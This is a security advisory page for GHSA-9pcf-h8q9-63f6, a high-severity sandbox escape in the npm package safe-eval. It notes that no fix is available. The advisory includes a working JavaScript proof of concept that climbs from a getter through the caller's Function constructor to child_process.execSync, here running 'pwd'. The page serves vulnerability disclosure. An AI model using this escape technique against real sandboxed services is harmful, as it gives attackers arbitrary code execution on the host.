Security mailing lists by PureSourceCode

GHSA-9pcf-h8q9-63f6

HIGH

Sandbox Breakout / Arbitrary Code Execution in safe-eval

All versions of safe-eval are vulnerable to Sandbox Escape leading to Remote Code Execution. A payload chaining a function's callee and caller constructors can escape the sandbox and execute arbitrary code.

For example, the payload

((() => { 
const targetKey = Object.keys(this)[0]; 
Object.defineProperty(this, targetKey, { 
get: function() { 
return arguments.callee.caller.constructor( 
"return global.process.mainModule.require('child_process').execSync('pwd').toString()" 
)(); 
} 
}); 
})();```
may be used to print the `pwd` to the console.


## Recommendation

No fix is currently available. Consider using an alternative package until a fix is made available.
Published
3 Sep 2020
Last modified
31 Aug 2020
Sources
OSVJSON

Affected

SourceVendor / ecosystemProduct / packageAffected versionsFixed in
OSV npm safe-eval >= 0.0.0

References

History

  • 25 Nov 2026 20:10 UTC · OSV: first stored (published 3 Sep 2020)
An unhandled error has occurred. Reload ×

Rejoining the server...

Rejoin failed... trying again in seconds.

Failed to rejoin.
Please retry or reload the page.

The session has been paused by the server.

Failed to resume the session.
Please retry or reload the page.